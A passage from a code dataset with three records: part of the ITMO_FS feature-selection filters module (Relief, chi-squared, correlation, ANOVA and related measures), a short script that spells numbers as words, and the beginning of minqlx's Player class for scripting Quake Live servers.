R.J. Urbanowicz et al. Relief-based feature selection: Introduction and\n review. Journal of Biomedical Informatics 85 (2018) 189\u2013203\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import relief_measure\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 2, 2, 1, 2])\n >>> relief_measure(x, y)\n array([ 0. , -0.6 , -0.1875, -0.15 , -0.4 ])\n \"\"\"\n weights = np.zeros(x.shape[1])\n classes, counts = np.unique(y, return_counts=True)\n if len(classes) == 1:\n raise ValueError(\"Cannot calculate relief measure with 1 class\")\n if 1 in counts:\n raise ValueError(\n \"Cannot calculate relief measure because one of the classes has \"\n \"only 1 sample\")\n\n n_samples = x.shape[0]\n n_features = x.shape[1]\n if m is None:\n m = n_samples\n\n x_normalized = MinMaxScaler().fit_transform(x)\n dm = euclidean_distances(x_normalized, x_normalized)\n indices = np.random.default_rng(random_state).integers(\n low=0, high=n_samples, size=m)\n objects = x_normalized[indices]\n hits_diffs = np.square(\n np.vectorize(\n lambda index: (\n x_normalized[index]\n - x_normalized[knn_from_class(dm, y, index, 1, y[index])]),\n signature='()->(n,m)')(indices))\n misses_diffs = np.square(\n np.vectorize(\n lambda index: (\n x_normalized[index]\n - x_normalized[knn_from_class(\n dm, y, index, 1, y[index], anyOtherClass=True)]),\n signature='()->(n,m)')(indices))\n\n H = np.sum(hits_diffs, axis=(0,1))\n M = np.sum(misses_diffs, axis=(0,1))\n\n weights = M - H\n\n return weights / m\n\n\ndef chi2_measure(x, y):\n \"\"\"Calculate the Chi-squared measure for each feature. Bigger values mean\n more important features. This measure works best with discrete features due\n to being based on statistics.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n http://lkm.fri.uni-lj.si/xaigor/slo/clanki/ijcai95z.pdf\n\n Example\n -------\n >>> from ITMO_FS.filters.univariate import chi2_measure\n >>> from sklearn.preprocessing import KBinsDiscretizer\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> est = KBinsDiscretizer(n_bins=10, encode='ordinal')\n >>> x = est.fit_transform(x)\n >>> chi2_measure(x, y)\n array([ 1.875 , 0.83333333, 10. , 3.75 , 6.66666667])\n \"\"\"\n def __chi2(feature):\n values, counts = np.unique(feature, return_counts=True)\n values_map = {val: idx for idx, val in enumerate(values)}\n splits = {cl: np.array([values_map[val] for val in feature[y == cl]]) \n for cl in classes}\n e = np.vectorize(\n lambda cl: prior_probs[cl] * counts,\n signature='()->(1)')(classes)\n n = np.vectorize(\n lambda cl: np.bincount(splits[cl], minlength=values.shape[0]),\n signature='()->(1)')(classes)\n return np.sum(np.square(e - n) / e)\n\n classes, counts = np.unique(y, return_counts=True)\n prior_probs = {cl: counts[idx] / x.shape[0] for idx, cl\n in enumerate(classes)}\n \n return np.apply_along_axis(__chi2, 0, x)\n\n\n#\n# def __contingency_matrix(labels_true, labels_pred):\n# \"\"\"Build a contingency matrix describing the relationship between labels.\n# Parameters\n# ----------\n# labels_true : int array, shape = [n_samples]\n# Ground truth class labels to be used as a reference\n# labels_pred : array, shape = [n_samples]\n# Cluster labels to evaluate\n# Returns\n# -------\n# contingency : {array-like, sparse}, shape=[n_classes_true, n_classes_pred]\n# Matrix :math:`C` such that :math:`C_{i, j}` is the number of samples in\n# true class :math:`i` and in predicted class :math:`j`. If\n# ``eps is None``, the dtype of this array will be integer. If ``eps`` is\n# given, the dtype will be float.\n# \"\"\"\n# classes, class_idx = np.unique(labels_true, return_inverse=True)\n# clusters, cluster_idx = np.unique(labels_pred, return_inverse=True)\n# n_classes = classes.shape[0]\n# n_clusters = clusters.shape[0]\n# # Using coo_matrix to accelerate simple histogram calculation,\n# # i.e. bins are consecutive integers\n# # Currently, coo_matrix is faster than histogram2d for simple cases\n# # TODO redo it with numpy\n# contingency = sp.coo_matrix((np.ones(class_idx.shape[0]),\n# (class_idx, cluster_idx)),\n# shape=(n_classes, n_clusters),\n# dtype=np.int)\n# contingency = contingency.tocsr()\n# contingency.sum_duplicates()\n# return contingency\n#\n#\n# def __mi(U, V):\n# contingency = __contingency_matrix(U, V)\n# nzx, nzy, nz_val = sp.find(contingency)\n# contingency_sum = contingency.sum()\n# pi = np.ravel(contingency.sum(axis=1))\n# pj = np.ravel(contingency.sum(axis=0))\n# log_contingency_nm = np.log(nz_val)\n# contingency_nm = nz_val / contingency_sum\n# # Don't need to calculate the full outer product, just for non-zeroes\n# outer = (pi.take(nzx).astype(np.int64, copy=False)\n# * pj.take(nzy).astype(np.int64, copy=False))\n# log_outer = -np.log(outer) + log(pi.sum()) + log(pj.sum())\n# mi = (contingency_nm * (log_contingency_nm - log(contingency_sum)) +\n# contingency_nm * log_outer)\n# return mi.sum()\n#\n\ndef spearman_corr(x, y):\n \"\"\"Calculate Spearman's correlation for each feature. Bigger absolute\n values mean more important features. This measure works best with discrete\n features due to being based on statistics.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n https://en.wikipedia.org/wiki/Spearman's_rank_correlation_coefficient\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import spearman_corr\n >>> from sklearn.preprocessing import KBinsDiscretizer\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> est = KBinsDiscretizer(n_bins=10, encode='ordinal')\n >>> x = est.fit_transform(x)\n >>> spearman_corr(x, y)\n array([-0.186339 , 0.30429031, -0.52704628, -0.30555556, 0.35355339])\n \"\"\"\n n = x.shape[0]\n if n < 2:\n raise ValueError(\"The input should contain more than 1 sample\")\n\n x_ranks = np.apply_along_axis(rankdata, 0, x)\n y_ranks = rankdata(y)\n\n return pearson_corr(x_ranks, y_ranks)\n\n\ndef pearson_corr(x, y):\n \"\"\"Calculate Pearson's correlation for each feature. Bigger absolute\n values mean more important features. This measure works best with discrete\n features due to being based on statistics.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n https://en.wikipedia.org/wiki/Pearson_correlation_coefficient\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import pearson_corr\n >>> from sklearn.preprocessing import KBinsDiscretizer\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> est = KBinsDiscretizer(n_bins=10, encode='ordinal')\n >>> x = est.fit_transform(x)\n >>> pearson_corr(x, y)\n array([-0.13363062, 0.32732684, -0.60631301, -0.26244533, 0.53452248])\n \"\"\"\n x_dev = x - np.mean(x, axis=0)\n y_dev = y - np.mean(y)\n sq_dev_x = x_dev * x_dev\n sq_dev_y = y_dev * y_dev\n sum_dev = y_dev.T.dot(x_dev).reshape((x.shape[1],))\n denominators = np.sqrt(np.sum(sq_dev_y) * np.sum(sq_dev_x, axis=0))\n\n results = np.array(\n [(sum_dev[i] / denominators[i]) if denominators[i] > 0.0 else 0 for i\n in range(len(denominators))])\n return results\n\n\n# TODO need to implement unsupervised way\ndef laplacian_score(x, y, k_neighbors=5, t=1, metric='euclidean', **kwargs):\n \"\"\"Calculate Laplacian Score for each feature. Smaller values mean more\n important features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The input samples.\n y : array-like, shape (n_samples,)\n The classes for the samples.\n k_neighbors : int, optional\n The number of neighbors to construct a nearest neighbor graph.\n t : float, optional\n Suitable constant for weight matrix S\n where Sij = exp(-(|xi - xj| ^ 2) / t).\n metric : str or callable, optional\n Norm function to compute distance between two points or one of the\n commonly used strings ('euclidean', 'manhattan' etc.) The default\n metric is euclidean.\n weights : array-like, shape (n_samples, n_samples)\n The weight matrix of the graph that models the local structure of\n the data space. By default it is constructed using KNN algorithm.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n https://papers.nips.cc/paper/2909-laplacian-score-for-feature-selection.pdf\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import laplacian_score\n >>> import numpy as np\n >>> x = np.array([[1, 2, 3, 3, 1], [2, 2, 3, 3, 2], [1, 3, 3, 1, 3],\n ... [3, 1, 3, 1, 4], [4, 4, 3, 1, 5]])\n >>> y = np.array([1, 2, 3, 4, 5])\n >>> laplacian_score(x, y)\n array([1.98983619, 1.22248371, nan, 0.79710221, 1.90648048])\n \"\"\"\n n, m = x.shape\n k_neighbors = min(k_neighbors, n - 1)\n if 'weights' in kwargs.keys():\n S = kwargs['weights']\n else:\n if n > 100000:\n S = lil_matrix((n, n))\n else:\n S = np.zeros((n, n))\n graph = NearestNeighbors(n_neighbors=k_neighbors, metric=metric)\n graph.fit(x)\n distances, neighbors = graph.kneighbors()\n for i in range(n):\n for j in range(k_neighbors):\n S[i, neighbors[i][j]] = S[neighbors[i][j], i] = exp(\n -distances[i][j] * distances[i][j] / t)\n ONE = np.ones((n,))\n D = np.diag(S.dot(ONE))\n L = D - S\n t = D.dot(ONE)\n F = x - x.T.dot(t) / ONE.dot(t)\n F = F.T.dot(L.dot(F)) / F.T.dot(D.dot(F))\n return np.diag(F)\n\n\ndef information_gain(x, y):\n \"\"\"Calculate mutual information for each feature by formula\n I(X,Y) = H(Y) - H(Y|X). Bigger values mean more important features. This\n measure works best with discrete features due to being based on information\n theory.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import information_gain\n >>> import numpy as np\n >>> from sklearn.preprocessing import KBinsDiscretizer\n >>> x = np.array([[1, 2, 3, 3, 1], [2, 2, 3, 3, 2], [1, 3, 3, 1, 3],\n ... [3, 1, 3, 1, 4], [4, 4, 3, 1, 5]])\n >>> y = np.array([1, 2, 3, 4, 5])\n >>> est = KBinsDiscretizer(n_bins=10, encode='ordinal')\n >>> x = est.fit_transform(x)\n >>> information_gain(x, y)\n array([1.33217904, 1.33217904, 0. , 0.67301167, 1.60943791])\n \"\"\"\n entropy_x = entropy(y)\n cond_entropy = np.apply_along_axis(conditional_entropy, 0, x, y)\n return entropy_x - cond_entropy\n\n\ndef anova(x, y):\n \"\"\"Calculate anova measure for each feature. Bigger values mean more\n important features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n Lowry, Richard. \"Concepts and Applications of Inferential Statistics\".\n Chapter 14. http://vassarstats.net/textbook/\n\n Note:\n The Anova score is counted for checking hypothesis if variances of two\n samples are similar, this measure only returns you counted F-score.\n For understanding whether samples' variances are similar you should\n compare recieved result with value of F-distribution function, for\n example use:\n https://docs.scipy.org/doc/scipy/reference/generated/scipy.special.fdtrc.html#scipy.special.fdtrc\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import anova\n >>> import numpy as np\n >>> x = np.array([[1, 2, 3, 3, 1], [2, 2, 3, 3, 2], [1, 3, 3, 1, 3],\n ... [3, 1, 3, 1, 4], [4, 4, 3, 1, 5]])\n >>> y = np.array([1, 2, 1, 3, 3])\n >>> anova(x, y)\n array([12.6 , 0.04, nan, 1.4 , 3. ])\n \"\"\"\n split_by_class = [x[y == k] for k in np.unique(y)]\n num_classes = len(np.unique(y))\n num_samples = x.shape[0]\n num_samples_by_class = [s.shape[0] for s in split_by_class]\n sq_sum_all = sum((s ** 2).sum(axis=0) for s in split_by_class)\n sum_group = [np.asarray(s.sum(axis=0)) for s in split_by_class]\n sq_sum_combined = sum(sum_group) ** 2\n sum_sq_group = [np.asarray((s ** 2).sum(axis=0)) for s in split_by_class]\n sq_sum_group = [s ** 2 for s in sum_group]\n sq_sum_total = sq_sum_all - sq_sum_combined / float(num_samples)\n sq_sum_within = sum(\n [sum_sq_group[i] - sq_sum_group[i] / num_samples_by_class[i] for i in\n range(num_classes)])\n sq_sum_between = sq_sum_total - sq_sum_within\n deg_free_between = num_classes - 1\n deg_free_within = num_samples - num_classes\n ms_between = sq_sum_between / float(deg_free_between)\n ms_within = sq_sum_within / float(deg_free_within)\n f = ms_between / ms_within\n return np.array(f)\n\n\ndef modified_t_score(x, y):\n \"\"\"Calculate the Modified T-score for each feature. Bigger values mean\n more important features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The input samples.\n y : array-like, shape (n_samples,)\n The classes for the samples. There can be only 2 classes.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n For more details see paper .\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import modified_t_score\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 1, 2, 1, 2])\n >>> modified_t_score(x, y)\n array([1.68968099, 0.12148022, 0.39653932, 0.17682997, 2.04387142])\n \"\"\"\n classes = np.unique(y)\n\n size_class0 = y[y == classes[0]].size\n size_class1 = y[y == classes[1]].size\n\n mean_class0 = np.mean(x[y == classes[0]], axis=0)\n mean_class0 = np.nan_to_num(mean_class0)\n mean_class1 = np.mean(x[y == classes[1]], axis=0)\n mean_class1 = np.nan_to_num(mean_class1)\n\n std_class0 = np.std(x[y == classes[0]], axis=0)\n std_class0 = np.nan_to_num(std_class0)\n std_class1 = np.std(x[y == classes[1]], axis=0)\n std_class1 = np.nan_to_num(std_class1)\n\n corr_with_y = np.apply_along_axis(\n lambda feature: abs(np.corrcoef(feature, y)[0][1]), 0, x)\n corr_with_y = np.nan_to_num(corr_with_y)\n\n corr_with_others = abs(np.corrcoef(x, rowvar=False))\n corr_with_others = np.nan_to_num(corr_with_others)\n\n mean_of_corr_with_others = (\n corr_with_others.sum(axis=1)\n - corr_with_others.diagonal()) / (len(corr_with_others) - 1)\n\n t_score_numerator = abs(mean_class0 - mean_class1)\n t_score_denominator = np.sqrt(\n (size_class0 * np.square(std_class0) + size_class1 * np.square(\n std_class1)) / (size_class0 + size_class1))\n modificator = corr_with_y / mean_of_corr_with_others\n\n modified_t_score = t_score_numerator / t_score_denominator * modificator\n modified_t_score = np.nan_to_num(modified_t_score)\n\n return modified_t_score\n\n\nMEASURE_NAMES = {\"FitCriterion\": fit_criterion_measure,\n \"FRatio\": f_ratio_measure,\n \"GiniIndex\": gini_index,\n \"SymmetricUncertainty\": su_measure,\n \"SpearmanCorr\": spearman_corr,\n \"PearsonCorr\": pearson_corr,\n \"FechnerCorr\": fechner_corr,\n \"KendallCorr\": kendall_corr,\n \"ReliefF\": reliefF_measure,\n \"Chi2\": chi2_measure,\n \"Anova\": anova,\n \"LaplacianScore\": laplacian_score,\n \"InformationGain\": information_gain,\n \"ModifiedTScore\": modified_t_score,\n \"Relief\": relief_measure}\n\n\ndef select_best_by_value(value):\n return _wrapped_partial(__select_by_value, value=value, more=True)\n\n\ndef select_worst_by_value(value):\n return _wrapped_partial(__select_by_value, value=value, more=False)\n\n\ndef __select_by_value(scores, value, more=True):\n if more:\n return np.flatnonzero(scores >= value)\n else:\n return np.flatnonzero(scores <= value)\n\n\ndef select_k_best(k):\n return _wrapped_partial(__select_k, k=k, reverse=True)\n\n\ndef select_k_worst(k):\n return _wrapped_partial(__select_k, k=k)\n\n\ndef __select_k(scores, k, reverse=False):\n if not isinstance(k, int):\n raise TypeError(\"Number of features should be integer\")\n if k > scores.shape[0]:\n raise ValueError(\n \"Cannot select %d features with n_features = %d\" % (k, len(scores)))\n order = np.argsort(scores)\n if reverse:\n order = order[::-1]\n return order[:k]\n\n\ndef __select_percentage_best(scores, percent):\n return __select_k(\n scores, k=(int)(scores.shape[0] * percent), reverse=True)\n\n\ndef select_best_percentage(percent):\n return _wrapped_partial(__select_percentage_best, percent=percent)\n\n\ndef __select_percentage_worst(scores, percent):\n return __select_k(\n scores, k=(int)(scores.shape[0] * percent), reverse=False)\n\n\ndef select_worst_percentage(percent):\n return _wrapped_partial(__select_percentage_worst, percent=percent)\n\n\nCR_NAMES = {\"Best by value\": select_best_by_value,\n \"Worst by value\": select_worst_by_value,\n \"K best\": select_k_best,\n \"K worst\": select_k_worst,\n \"Worst by percentage\": select_worst_percentage,\n \"Best by percentage\": select_best_percentage}\n\n\ndef qpfs_filter(X, y, r=None, sigma=None, solv='quadprog', fn=pearson_corr):\n \"\"\"Performs Quadratic Programming Feature Selection algorithm.\n Note: this realization requires labels to start from 1 and be numerical.\n\n Parameters\n ----------\n X : array-like, shape (n_samples, n_features)\n The input samples.\n y : array-like, shape (n_samples,)\n The classes for the samples.\n r : int\n The number of samples to be used in Nystrom optimization.\n sigma : double\n The threshold for eigenvalues to be used in solving QP optimization.\n solv : string, default\n The name of qp solver according to\n qpsolvers(https://pypi.org/project/qpsolvers/) naming. Note quadprog\n is used by default.\n fn : function(array, array), default\n The function to count correlation, for example pierson correlation or\n mutual information. Note mutual information is used by default.\n\n Returns\n -------\n array-like, shape (n_features,) : the ranks of features in dataset, with\n rank increase, feature relevance increases and redundancy decreases.\n\n See Also\n --------\n http://www.jmlr.org/papers/volume11/rodriguez-lujan10a/rodriguez-lujan10a.pdf\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import qpfs_filter\n >>> from sklearn.datasets import make_classification\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> ranks = qpfs_filter(x, y)\n >>> print(ranks)\n \"\"\"\n return qpfs_body(X, y, fn, r=r, sigma=sigma, solv=solv)\n", "source": "educauchy/ITMO_FS", "license": "BSD-3-Clause"}
+{"text": "def Spell_0_10(n):\r\n refTuple = (\"zero\",\"one\",\"two\",\"three\",\"four\",\"five\",\r\n \"six\",\"seven\",\"eight\",\"nine\",\"ten\")\r\n return refTuple[n]\r\n\r\nprint(1, \" is spelt as \", Spell_0_10(1))\r\nfor i in range(11):\r\n print(\"{} is spelt as {}\".format(i,Spell_0_10(i)))\r\n\r\nfor i in range (-9,0,1):\r\n print(\"{} is spelt as {}\".format(i, Spell_0_10(i)))\r\n", "source": "hkrsmk/python", "license": "Unlicense"}
+{"text": "# minqlx - Extends Quake Live's dedicated server with extra functionality and scripting.\n# Copyright (C) 2015 Mino \n\n# This file is part of minqlx.\n\n# minqlx is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n\n# minqlx is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with minqlx. If not, see .\n\nimport minqlx\nimport re\n\n_DUMMY_USERINFO = (\"ui_singlePlayerActive\\\\0\\\\cg_autoAction\\\\1\\\\cg_autoHop\\\\0\"\n \"\\\\cg_predictItems\\\\1\\\\model\\\\bitterman/sport_blue\\\\headmodel\\\\crash/red\"\n \"\\\\handicap\\\\100\\\\cl_anonymous\\\\0\\\\color1\\\\4\\\\color2\\\\23\\\\sex\\\\male\"\n \"\\\\teamtask\\\\0\\\\rate\\\\25000\\\\country\\\\NO\")\n\nclass NonexistentPlayerError(Exception):\n \"\"\"An exception that is raised when a player that disconnected is being used\n as if the player were still present.\n\n \"\"\"\n pass\n\nclass Player():\n \"\"\"A class that represents a player on the server. As opposed to minqlbot,\n attributes are all the values from when the class was instantiated. This\n means for instance if a player is on the blue team when you check, but\n then moves to red, it will still be blue when you check a second time.\n To update it, use :meth:`~.Player.update`. Note that if you update it\n and the player has disconnected, it will raise a\n :exc:`minqlx.NonexistentPlayerError` exception.\n\n \"\"\"\n def __init__(self, client_id, info=None):\n self._valid = True\n\n # Can pass own info for efficiency when getting all players and to allow dummy players.\n if info:\n self._id = client_id\n self._info = info\n else:\n self._id = client_id\n self._info = minqlx.player_info(client_id)\n if not self._info:\n self._invalidate(\"Tried to initialize a Player instance of nonexistant player {}.\"\n .format(client_id))\n\n self._userinfo = None\n self._steam_id = self._info.steam_id\n\n # When a player connects, a the name field in the client struct has yet to be initialized,\n # so we fall back to the userinfo and try parse it ourselves to get the name if needed.\n if self._info.name:\n self._name = self._info.name\n else:\n self._userinfo = minqlx.parse_variables(self._info.userinfo, ordered=True)\n if \"name\" in self._userinfo:\n self._name = self._userinfo[\"name\"]\n else: # No name at all. Weird userinfo during connection perhaps?\n self._name = \"\"\n\n def __repr__(self):\n if not self._valid:\n return \"{}(INVALID:'{}':{})\".format(self.__class__.__name__,\n self.clean_name, self.steam_id)\n\n return \"{}({}:'{}':{})\".format(self.__class__.__name__, self._id,\n self.clean_name, self.steam_id)\n\n def __str__(self):\n return self.name\n\n def __contains__(self, key):\n return key in self.cvars\n\n def __getitem__(self, key):\n return self.cvars[key]\n\n def __eq__(self, other):\n if isinstance(other, type(self)):\n return self.steam_id == other.steam_id\n else:\n return self.steam_id == other\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def update(self):\n \"\"\"Update the player information with the latest data. If the player\n disconnected it will raise an exception and invalidates a player.\n The player's name and Steam ID can still be accessed after being\n invalidated, but anything else will make it throw an exception too.\n\n :raises: minqlx.NonexistentPlayerError\n\n \"\"\"\n self._info = minqlx.player_info(self._id)\n\n if not self._info or self._steam_id != self._info.steam_id:\n self._invalidate()\n\n if self._info.name:\n self._name = self._info.name\n else:\n self._userinfo = minqlx.parse_variables(self._info.userinfo, ordered=True)\n if \"name\" in self._userinfo:\n self._name = self._userinfo[\"name\"]\n else:\n self._name = \"\"\n\n def _invalidate(self, e=\"The player does not exist anymore. Did the player disconnect?\"):\n self._valid = False\n raise NonexistentPlayerError(e)\n\n @property\n def cvars(self):\n if not self._valid:\n self._invalidate()\n\n if not self._userinfo:\n self._userinfo = minqlx.parse_variables(self._info.userinfo, ordered=True)\n\n return self._userinfo.copy()\n\n @cvars.setter\n def cvars(self, new_cvars):\n new = \"\".join([\"\\\\{}\\\\{}\".format(key, new_cvars[key]) for key in new_cvars])\n minqlx.client_command(self.id, \"userinfo \\\"{}\\\"\".format(new))\n\n @property\n def steam_id(self):\n return self._steam_id\n\n @property\n def id(self):\n return self._id\n\n @property\n def ip(self):\n if \"ip\" in self:\n return self[\"ip\"].split(\":\")[0]\n else:\n return \"\"\n\n @property\n def clan(self):\n \"\"\"The clan tag. Not actually supported by QL, but it used to be and\n fortunately the scoreboard still properly displays it if we manually\n set the configstring to use clan tags.\"\"\"\n try:\n return minqlx.parse_variables(minqlx.get_configstring(529 + self._id))[\"cn\"]\n except KeyError:\n return \"\"\n\n @clan.setter\n def clan(self, tag):\n index = self.id + 529\n cs = minqlx.parse_variables(minqlx.get_configstring(index), ordered=True)\n cs[\"xcn\"] = tag\n cs[\"cn\"] = tag\n new_cs = \"\".join([\"\\\\{}\\\\{}\".format(key, cs[key]) for key in cs])\n minqlx.set_configstring(index, new_cs)\n\n @property\n def name(self):\n return self._name + \"^7\"\n\n @name.setter\n def name(self, value):\n new = self.cvars\n new[\"name\"] = value\n self.cvars = new\n\n @property\n def clean_name(self):\n \"\"\"Removes color tags from the name.\"\"\"\n return re.sub(r\"\\^[0-9]\", \"\", self.name)\n\n @property\n def qport(self):\n if \"qport\" in self:\n return int(self[\"qport\"])\n else:\n return -1\n\n @property\n def team(self):\n return minqlx.TEAMS[self._info.team]\n\n @team.setter\n def team(self, new_team):\n self.put(new_team)\n\n @property\n def colors(self):\n # Float because they can occasionally be floats for some reason.\n return float(self[\"color1\"]), float(self[\"color2\"])\n\n @colors.setter\n def colors(self, value):\n new = self.cvars\n c1, c2 = value\n new[\"color1\"] = c1\n new[\"color2\"] = c2\n self.cvars = new\n\n @property\n def model(self):\n return self[\"model\"]\n\n @model.setter\n def model(self, value):\n new = self.cvars\n new[\"model\"] = value\n self.cvars = new\n\n @property\n def headmodel(self):\n return self[\"headmodel\"]\n\n @headmodel.setter\n def headmodel(self, value):\n new = self.cvars\n new[\"headmodel\"] = value\n self.cvars = new\n\n @property\n def handicap(self):\n return self[\"handicap\"]\n\n @handicap.setter\n def handicap(self, value):\n new = self.cvars\n new[\"handicap\"] = value\n self.cvars = new\n\n @property\n def autohop(self):\n return bool(int(self[\"cg_autoHop\"]))\n\n @autohop.setter\n def autohop(self, value):\n new = self.cvars\n new[\"autohop\"] = int(value)\n self.cvars = new\n\n @property\n def autoaction(self):\n return bool(int(self[\"cg_autoAction\"]))\n\n @autoaction.setter\n def autoaction(self, value):\n new = self.cvars\n new[\"cg_autoAction\"] = int(value)\n self.cvars = new\n\n @property\n def predictitems(self):\n return bool(int(self[\"cg_predictItems\"]))\n\n @predictitems.setter\n def predictitems(self, value):\n new = self.cvars\n new[\"cg_predictItems\"] = int(value)\n self.cvars = new\n\n @property\n def connection_state(self):\n \"\"\"A string describing the connection state of a player.\n\n Possible values:\n - *free* -- The player has disconnected and the slot is free to be used by someone else.\n - *zombie* -- The player disconnected and his/her slot will be available to other players shortly.\n - *connected* -- The player connected, but is currently loading the game.\n - *primed* -- The player was sent the necessary information to play, but has yet to send commands.\n - *active* -- The player finished loading and is actively sending commands to the server.\n\n In other words, if you need to make sure a player is in-game, check if ``player.connection_state == \"active\"``.\n\n \"\"\"\n return minqlx.CONNECTION_STATES[self._info.connection_state]\n\n @property\n def state(self):\n return minqlx.player_state(self.id)\n\n @property\n def privileges(self):\n if self._info.privileges == minqlx.PRIV_NONE:\n return None\n elif self._info.privileges == minqlx.PRIV_MOD:\n return \"mod\"\n elif self._info.privileges == minqlx.PRIV_ADMIN:\n return \"admin\"\n elif self._info.privileges == minqlx.PRIV_ROOT:\n return \"root\"\n elif self._info.privileges == minqlx.PRIV_BANNED:\n return \"banned\"\n\n @privileges.setter\n def privileges(self, value):\n if not value or value == \"none\":\n minqlx.set_privileges(self.id, minqlx.PRIV_NONE)\n elif value == \"mod\":\n minqlx.set_privileges(self.id, minqlx.PRIV_MOD)\n elif value == \"admin\":\n minqlx.set_privileges(self.id, minqlx.PRIV_ADMIN)\n else:\n raise ValueError(\"Invalid privilege level.\")\n\n @property\n def country(self):\n return self[\"country\"]\n\n @country.setter\n def country(self, value):\n new = self.cvars\n new[\"country\"] = value\n self.cvars = new\n\n @property\n def valid(self):\n return self._valid\n\n @property\n def stats(self):\n return minqlx.player_stats(self.id)\n\n @property\n def ping(self):\n return self.stats.ping\n\n def position(self, reset=False, **kwargs):\n if reset:\n pos = minqlx.Vector3((0, 0, 0))\n else:\n pos = self.state.position\n\n if not kwargs:\n return pos\n\n x = pos.x if \"x\" not in kwargs else kwargs[\"x\"]\n y = pos.y if \"y\" not in kwargs else kwargs[\"y\"]\n z = pos.z if \"z\" not in kwargs else kwargs[\"z\"]\n\n return minqlx.set_position(self.id, minqlx.Vector3((x, y, z)))\n\n def velocity(self, reset=False, **kwargs):\n if reset:\n vel = minqlx.Vector3((0, 0, 0))\n else:\n vel = self.state.velocity\n\n if not kwargs:\n return vel\n\n x = vel.x if \"x\" not in kwargs else kwargs[\"x\"]\n y = vel.y if \"y\" not in kwargs else kwargs[\"y\"]\n z = vel.z if \"z\" not in kwargs else kwargs[\"z\"]\n\n return minqlx.set_velocity(self.id, minqlx.Vector3((x, y, z)))\n\n def weapons(self, reset=False, **kwargs):\n if reset:\n weaps = minqlx.Weapons(((False,)*15))\n else:\n weaps = self.state.weapons\n\n if not kwargs:\n return weaps\n\n g = weaps.g if \"g\" not in kwargs else kwargs[\"g\"]\n mg = weaps.mg if \"mg\" not in kwargs else kwargs[\"mg\"]\n sg = weaps.sg if \"sg\" not in kwargs else kwargs[\"sg\"]\n gl = weaps.gl if \"gl\" not in kwargs else kwargs[\"gl\"]\n rl = weaps.rl if \"rl\" not in kwargs else kwargs[\"rl\"]\n lg = weaps.lg if \"lg\" not in kwargs else kwargs[\"lg\"]\n rg = weaps.rg if \"rg\" not in kwargs else kwargs[\"rg\"]\n pg = weaps.pg if \"pg\" not in kwargs else kwargs[\"pg\"]\n bfg = weaps.bfg if \"bfg\" not in kwargs else kwargs[\"bfg\"]\n gh = weaps.gh if \"gh\" not in kwargs else kwargs[\"gh\"]\n ng = weaps.ng if \"ng\" not in kwargs else kwargs[\"ng\"]\n pl = weaps.pl if \"pl\" not in kwargs else kwargs[\"pl\"]\n cg = weaps.cg if \"cg\" not in kwargs else kwargs[\"cg\"]\n hmg = weaps.hmg if \"hmg\" not in kwargs else kwargs[\"hmg\"]\n hands = weaps.hands if \"hands\" not in kwargs else kwargs[\"hands\"]\n\n return minqlx.set_weapons(self.id,\n minqlx.Weapons((g, mg, 